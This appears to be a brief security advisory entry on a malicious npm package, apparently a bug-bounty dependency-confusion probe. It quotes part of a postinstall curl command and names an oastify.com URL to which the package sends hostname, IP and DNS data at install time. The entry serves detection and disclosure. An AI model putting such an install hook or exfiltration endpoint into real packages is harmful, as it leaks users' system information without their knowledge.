GCVE-110-OSM-2026-6723

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, network activity, install-time execution. ENTRY index.js (main: index.js) - Postinstall Script in package.json: ""postinstall": "curl -X POST -d \"" DESTINATION - oast: http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data/conf/svr.conf (primary, plaintext) in package.json EXFIL - OAST/Interactsh Exfiltration in package.json: "oastify.com" - Suspicious Domain in package.json: "oastify.com" ADDITIONAL FINDINGS - Brand New Package - Rapid Version Publishing